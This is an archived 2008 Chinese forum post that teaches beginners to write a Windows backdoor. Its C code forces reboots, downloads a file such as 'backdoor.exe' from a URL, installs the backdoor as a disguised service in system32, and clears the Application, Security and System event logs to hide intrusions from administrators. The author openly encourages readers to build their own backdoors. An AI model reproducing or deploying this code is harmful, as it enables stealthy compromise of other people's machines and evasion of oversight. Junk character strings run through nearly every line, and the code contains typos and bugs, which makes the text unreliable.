我爱电脑技术论坛's Archiver

tianshiren 发表于 2008-6-4 11:47

后门编程技术初步

如你所知,现在的TELNET扩展后门太多了,如号称3W的 WinEggDrop、Wolf、WinShell等等。本人热衷于编程,对后门编程技术早就虎视眈眈,于是狂用Google搜索各类后门的源代码,结果收获还真不少!花了几天时间,反复阅读学习这些后门源代码后,豁然发现,原来实现过程这么简单!抱头痛哭为什么自己不早点写出个“如此简单”的后门,否则现在流芳后门界的就是偶啦,呵呵。Kb-LD0_ U
痛定思痛,现在偶就把有关编写后门程序的几个简单却又关键的编程技术总结一下,以飨广大初学后门编程的读者。希望大家也可以尽早写出属于自己的后门来。
e;Q1r H-I"M*RD]M6s 废话少说,盘点开始了!我们以下实现都是在(WinXp+SP1)+(VC6.0+SP6)下编译通过。
Ol#cc _w3r,p
Wbsv ~/f*k
*w ZEAK 技术实现第一步:获得操作系统版本
c N\4NQ_~/L*U 呵呵,这个好像没什么技术含量。但是,你要知道,获得操作系统版本信息是多么的重要。基本上所有的木马和后门,都离不开操作系统版本的判断。因为Windows 2000/XP和Windows 9X有太大的区别了,这个大家都清楚。即使在Windows 2000和Windows XP下,有时也要区别对待。比如有时进行IPC连接,两者对IPC匿名共享的默认权限是不一样的。甚至同一版本的不同SP包,有时也有很大区别,这在写缓冲区溢出Exploits的时候尤为明显。那么,如何得到一个操作系统的版本信息呢?其实很简单,一个结构,一个函数就可以搞定。
!@!DqTn,pV3h 示例代码如下:)t9q |EW
OSVERSIONINFO osvi; "`RY5u`C4W
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
2D*r^ve3lEFh GetVersionEx(&osvi);
%Ip P(zKj,d*EH1v1ao*I;fv if (osvi.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)`C6J"D/l1H!}2^2JY%Q
printf("Win9x\n");Xj8F9G0K4B&_
if (osvi.dwPlatformId==VER_PLATFORM_WIN32_NT) !i;@ Ifn7JEi @
printf("WinNt\n");
0FO b^p 可以看到,OSVERSIONINFO结构体里存放着Windows操作系统版本信息,需要注意的是,在调用GetVersionEx之前,必须对osvi.dwOSVersionInfoSize做初始化工作。我们在Win32编程中常常会有类似的结构,都包括了一个结构大小的成员,在调用API之前必须对该成员进行初始化工作,在我们后面要讲到STARTUPINFO结构也同样如此。很多人不了解为什么,其实初始化的作用主要是为了版本控制,以防Microsoft在将来的Win32中扩充该结构。这里,我们只是简单判断了操作系统是Windows 9X还是Windows NT,如果你想得到更详细的信息,比如是Windows 2000还是Windows XP或Windows 2003,可以通过比较OSVERSIONINFO结构的dwMajorVersion和dwMinorVersion成员来得到。如:I2mD5N-ct)pR
if (osvi.dwPlatformId==VER_PLATFORM_WIN32_NT) q"|{ NOP8T
{
G,?1V\i2q2Z7~#E G7o if (osvi.dwMajorVersion==5&&osvi.dwMinorVersion==0) { V:UO.{)T.Rc o
printf("Win2000\n");
yVp5AT? }
B?9l0s-|}"~1E else if (osvi.dwMajorVersion==5 && osvi.dwMinorVersion==1) {c,k9S;Bgy,[Ub
printf("WinXp\n");{%WD1Q'p)PL
} g} {.d8j.A3h3b\-Q
else
w`R0j0H~g printf("Win2003\n");Zy M-Gl y3@0~ t6t1`
}(D2DcK*we
如果dwMajorVerison为4,则是Windows NT4.0,为5则为2000以上版本(最新的Longhorn,Microsoft好象不打算改名,据说它的这个值为6),而dwMinorVersion为0,则是Win2000,为1,是Windows Xp,为2,是Windows 2003。至于Windows的Services Packet版本,大家也同样可以得到,这留给读者自己查MSDN了。毛主席说过:自己动手,丰衣足食!想学编程不动动手怎么行?!3~!RB}h?.L.k y

j@'NL _W7j(p 技术实现第二步:控制关闭/重启对方主机X3\B~(j
这个功能基本上也是所有后门和木马必有的功能之一。你想,能随意操纵对方机器开关,那是多么自豪的一件事,当然,这不是主要目的,我想主要在于控制者在给目标主机放下“机关”程序的时候,必须重启目标机以达到立即运行该“机关”程序的目的。如果没记错的话,黑防以前刊过N多这个功能的实现了吧。为了完整性,我还是简单的介绍一下。就算是给刚入门的或刚开始看黑防的DDMM们学习的资料。示例代码如下: ]Ky]^a
HANDLE hToken;-W6p4_)~!v"K"qaj
LUID luid;
*ydj$\9?[/Vnt"{ TOKEN_PRIVILEGES tkp;!q~ gOY(fH2P HG
//以查询和调整特权的访问权限打开当前进程/yl2A G#c5Z.pz?
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES, &hToken)) +Mr!@t \z
{ //打开失败.?lje})@wC
printf("OpenProcessToken failed %d\n", GetLastError());!L-U-C+f1H3y
return;o_:~;\ hO['v
}
"qS3@tA"Uh$V ^ Z //获得本机SE_SHUTDOWN_NAME的本地唯一标识号I6R:ao:o9?
if(!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luid)),tG!hw-b}{&O
{
x7rx/LD6k{!Y printf("LookupPrivilegeValue failed %d\n", GetLastError()); U+k~/X6C
return;;g3to S8[ bQ m~f
};
7Wd^|D1Gr I tkp.PrivilegeCount = 1;
'vg5] V)Z'O tkp.Privileges[0].Luid = luid;[!t*W'{(Pg)Nr
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Oz @4KIW D6_XD //提升权限+j7o-O(t K c+K
AdjustTokenPrivileges(&hToken, FALSE, &tkp, sizeof(tkp), NULL, 0);
3u!usc'x L //重启/关闭系统3v;Qc\_2X
ExitWindowEx(EWX_REBOOT|EWX_FORCE, 0);
?Pc:hc:p6g0E1I CloseHandle(hToken);
+^#L0A&Fg OR/E2l2WtM 这里,对于Windows NT/2000以上操作系统,我们必须要使程序获得SE_SHUTDOWN_NAME权限才能成功关闭计算机。ExitWindowEx()函数是用来关闭系统的。如函数成功调用,系统对每个窗口发送WM_QUERYENDSESSION消息,询问窗口所属的程序是否可以被终止。收到此消息的程序应该进行响应,清除环境释放资源,然后返回TRUE表示自己可以被终止。然而调用ExitWindowEx的时候如果指定了EXW_FORCE,则系统强行终止相关的进程并关闭,这样可能导致数据的丢失。对于Windows 9X,呵呵,就简单多了,我们不需要提升权限的步骤,直接调用ExitWindowEx()就可以达到目的(瞧,我们前面的对操作系统进行判断这里就立马产生作用了吧)。;R"`!i%Y"J Ea

(P#x@2ab"Z 技术实现第三步:从指定的URL下载文件
2i5F?q8Xh 这是一般网页木马所使用的伎俩,让受害主机定时向控制者提交的网页上查询是否有文件要被下载,如有就下载。这样就使后门或木马的控制者给目标机上传文件多了一种选择,而且这样的方式是比较安全的,因为没有几个被害者或目标机上的防火墙会禁用本地的HTTP下载方式吧?该技术的编程实现就更简单了,核心就是利用了一个函数URLDownLoadToFile(),该函数按位从Internet下载并保存到本地主机上。"gs!F2n|2S A5m-|
下面是示例代码:
.no bv{0ve~^ HRESULT hResult;
:k`s/Bh char seps[] = "/"; //分隔符*N\DM%yv,d
char *token; caqug:_~7s/eB
char *file;I&iH)v ]0}V4b
char szURL[MAX_PATH]; //存放URL地址
/ZSr"@!VL{ char ExeFile[MAX_PATH];
'j2k;o1Z:e? //演示用途,我们传递一个URL,比如[url]http://www.xxx/backdoor.exe[/url];M|2L6GL
strcpy(szURL, argv[1]);B^:S+N+g0^P'k8C+s
token = strtok(szURL, seps);
th+w UENEZ while(token != NULL)j @wlD*O9b
{
4ibgIW#ru5V file = token; //循环至最后,我们得到的*file是backdoor.exe]lP#J:X
token = strtok(NULL, seps);d\6ZS%a ]0c
}
C#i7m+U3i DR ] [&J;}E //获得当前目录路径,比如: C:\Windows\System32-J(Vm%ydy)}
GetCurrentDirectory(MAX_PATH, szExeFile);&SBJ.Q@A%aG
strcat(szExeFile, "\\");
B^O)?z~ strcat(szExeFile, file); //得到文件绝对路径C: \Windows\System32\backdoor.exe'J\f"Yb5k
"cO:I tZ7Z:R-D$}
hResult = URLDownloadToFile(0, argv[1], szExeFile, 0, 0);
7RDR8@ N 4Qj!bfNx1Z8q
if(hResult == S_OK) //S_OK表成功
BrhRH@#J printf("Download file ok\n");
+t9W\K$[? f else
A(rDH3q:? F:w printf("Download file failed\n");]V dzW:HVV

7h+f;SC]-DUa 呵呵,是不是很简单?我想平时用IE下载东西也只是调用了这么一个函数而已吧?!
9~7?QY;X/GB5v
"Ye4A-s%h.v_t 技术实现第四步:把后门安装为系统服务
FfI'[%]@ 我们安装后门,肯定希望目标主机每次开机都运行我们的后门程序,传统的方式采用修改win.in、system.ini或aoutorun.bat文件的方法,或者就是修改注册表键值 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,自从Windows NT/2000添加了服务的概念以后,很多黑客们便开始利用服务在系统启动时它也启动的特性,达到自启动的目的,而且不容易被发现。 n _ sj)v
下面我们分别来讨论服务的安装,然后再来实现服务的主体运行程序。
Wg$FtT%l 在Windows 2000的Resource kits下有个叫instsrv.exe的小工具,可以用来安装或卸载可执行服务。下面这一段示例代码就可以实现instsrv.exe的编制。
(W7FBDW-fAw s void main()@Lvl*I+a9@
{
"v+b;BTO ?l$x2KH6w$k SC_HANDLE hSCManager = NULL, //服务控制管理器句柄'T*`"b C(A c h
hService = NULL; //服务句柄
3J ]+@TV char szSysPath[MAX_PATH]={0}, //系统目录路径/|o8O I/A)Q1v5~2@+w
szExePath[MAX_PATH]={0}; //我们要把我们后门程序放在这里,一般就是在\\admin$\\system32\里,隐蔽性高H0fi!_ d"@at
?4Q7jDF
if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主机
,X7A;R,lK-j NULL, // 要打开的服务控制管理数据库,默认为空/I#q+h6j5m&a(prB
SC_MANAGER_CREATE_SERVICE//创建权限
}-e0dB,JiU ))==NULL)_5q8jfk$b n D
{8J3Kw9X,}?*z
pirntf("OpenSCManager failed\n");
3I{tyP8wC return;8g+a"R&Fe
}
? K|$x4m -xY!}%LV-m/L8f(C$L
GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
:O2m.@`d5iV:e~N strcpy(szExePath, szSysPath);
ga.uE&NR f:K;V,\ strcat(szExePath, "scuhkr.exe"); //应用程序绝对路径
$Cbqkm+MD
%X#X;PNdA(s if ((hService=CreateService(hSCManager, //指向服务控制管理数据库的句柄
? ~-O(N EW5Bi7~.W "scuhkr", //服务名
3^2h2H#}MK'x4^ "scuhkr backdoor service", //显示用的服务名
h1Z#LP}&zv ]J SERVICE_ALL_ACCESS, //所有访问权限 N^ S@n-]]
SERVICE_WIN32_OWN_PROCESS, //私有类型b y``2w4@3T!h-M
SERVICE_DEMAND_START, //自启动类型 SERVICE_ERROR_IGNORE, //忽略错误处理
x4j*L3}8G_:m^ szExePath, //应用程序路径
Q{ ?#q&iU4C4}y]:j NULL, }2draUh
NULL,
Ny/|w1P8O!i+nkd NULL,{9^DS5P-Y
NULL,
].?)e]Co a C NULL)) == NULL)
A;EORO^v"]7Q,sR {.] R] `w g8Y1?8]
printf("%d\n", GetLastError());
&FG3??7l p p return;%P#Q%`,R-] c
}
'E:R*?"J'D"\ printf(“Install service successfully\n ”);};A$X%Exf
CloseServiceHandle(hService); //关闭服务句柄7gg C7O6|P2\P@#Zz
CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄
k U7`%l/lt'Z!XT }
#g-h3}b&V5j-? 这里注释已经讲得很清楚了,大家一看就明白,主要利用了两个API:OpenSCManager()用来打开服务系统管理数据库,CreateService()用来创建服务。相关的参数大家可以参考MSDN。这里我们创建了一个服务名为Scuhkr,开机自启动方式的服务,大家同样可以在控制面板->管理工具->服务里看到我们创建的服务。当然,如果是作为后门,可以把服务名改的隐蔽一点,把服务的描述写的吓人一 点,呵呵,看你发挥了(如果是Windows XP,在控制台命令行里,还提供了一个sc.exe的小程序,在你安装完服务后,可以在Shell下输入:“sc qc scuhkr”。呵呵,你会有所发现的,自己赶快动手试试吧)。至于szExePath,我注释为应用程序路径,既可以是后门自身的绝对路径,也可以是我们通过前面HTTP下载的文件所在的绝对路径。对于系统服务级后门的详细描述,可以参看我在第三期的《服务级后门自己动手做》一文。
[ `/kt&F8]
'gN;?.G U 技术实现第五步:清除系统日志.c;? V![E
记得张国立在冯小刚导演的《手机》里,用四川话意味深长的对葛优说过一句话:(xf_4uw_;a
“做人要厚道!”,当时开怀大笑! 嘿嘿,要做“黑客”的,厚道…二字…难啊!%C$ak;tz&[)FL
我们小时候,哪个没偷吃过家里的什么糖果啊,饼干啊,大家最后一件事是必做的,那就是“偷吃完后抹嘴”。同样,我们利用后门或木马做完“坏”事后,一定要记得删除系统日志,否则,很容易被有经验的系统管理员逮到你的狐狸尾巴,那个时候,后果可大可小哦。]9rw,o8lBf
所以,清楚系统日志文件几乎成了后门与木马工具的一个必备功能。下面我们看看先具体的实现代码吧,然后才介绍相关的一些知识。B:G]X(huEo5@}%l
#include <windows.h>
+aiY9p!Q #include <stdio.h>
.U.z CZ)qAhf
,sR,M,`Rt BOOL DelLogFile(const char* szLogName)
-X+U/a4B$j/di {
[)k;M0]^Sj8x HANDLE hHandle;
QT$OrPp BOOL bOk = FALSE; m,HI9E&E2R9y#B
w'~!Yef nl
//打开事件日志文件
p}B*Slc1b hHandle = OpenEventLog(
to&cu{U Mmg NULL, //NULL表本地主机
Y7tB(` a#a9\ szLogName);//日志文件名kIqT?z3G
if (!hHandle) {-AHe0\!{4I(G&{
return FALSE;
,PT`Li.Y!k8t:F)[ }
_f2y-h3TH Q *Q3p[1]9wYJk0m
//清楚事件日志文件
)uz$G;t;Bac if (ClearEventLog(hHandle, NULL)) {
)d(W3wU:{o~ bOk = TRUE;YCFn3Eu&e8P
}5`TN&TME;c7?X

.T o|yPB}$i CloseEventLog(hHandle);)M @(U U0K*?O j
0x"I%n'Lao yZ
return bOk;
w6h`7? v.T-ZZ}r] }
3?,SGZ?P9@*` F;vw,pB,?3h
void main()
.sI.\Pj%_f {
/l%](x'n-C!Q4B char logName[3][16] =
M.t?LS)QDp%B {
X.e,{P!|Z0q"So "Application", "Security", "System"
s9rQs3@@o[r+u }; Voj6CM{L'@ W9{
PAeZ!Q*M[gt
for (int i=0; i<3; i++)+SC#By7wWl
{Q_(y Y5I4Z Vq
if (DelLogFile(logName))
+s3^sl2b {
!Yz8c N;Qhv"z A printf("DelLogFile %s Ok\n", logName);f@8x {ra_
}#B3XC hA'|.ZO
}
;F(ViC[z){~ }'Mv*Fz'~%yhv
*e;Fkez|t"c0k/u
上面的代码我们只利用了两个API函数,OpenEventLog()和ClearEventLog()。哇靠!没那么简单吧?呵呵,就那么简单!是不是很有成就感呢!在2K/XP的%winsystem%\system32\config\目录下存在三个以后缀“.Evt”结尾的文件,分别是AppEvent.Evt, SecEvent.Evt, SysEvent.Evt。大家看到我在main()函数里给logName二维数组赋的初始值吗,刚好分别对应这三个文件,他们的作用如下:K)V4{5Oa_!R
--Application Log-文件包括用2K/XP SECURITY AUTHORITY注册的应用程序产生的信息。 !p/`g0UIF
--Security Log-包括有关通过2K/XP可识别安全提供者和客户的系统访问信息。
2U3X'@ Ki[ --System Log包含所有系统相关事件的信息。
@PI A Wp C 可以看到,系统管理员正是利用控制面板管理工具事件查看程序eventvwr.exe来跟踪和查找各种重要的信息的。但现在,我们可以轻易的让这些日志咔嚓掉,岂不快哉。当然,要做到万无一失,可能还需要更多的工作,这里就不赘述了。
8f/E(GC{,LXN
}r-A2YUWq"m5g 以上所讨论的都是比较简单的后门技术,其实算不上技术了,充其量只是实现了小功能而已。但是要知道,千里之行,始于足下。对于初学编程而又对后门或木马技术很感兴趣的读者来说,我相信这还是有一定的帮助。呵呵。对喜欢黑客技术而且爱看《黑防》的战友们说一句,“虽然前面的路还很遥远,但我们会继续努力,因为这是一种执着,对黑客技术无限的执着!加油吧…”

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.